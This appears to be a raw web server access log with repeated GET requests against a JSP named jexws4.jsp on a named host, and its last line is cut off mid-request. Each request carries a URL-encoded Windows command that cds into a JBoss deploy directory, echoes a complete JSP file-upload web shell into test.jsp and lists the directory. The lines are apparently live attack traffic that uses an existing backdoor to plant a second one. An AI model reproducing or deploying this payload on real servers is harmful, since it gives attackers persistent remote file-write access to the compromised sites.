S833573645 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833554236 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833513029 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833493636 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%2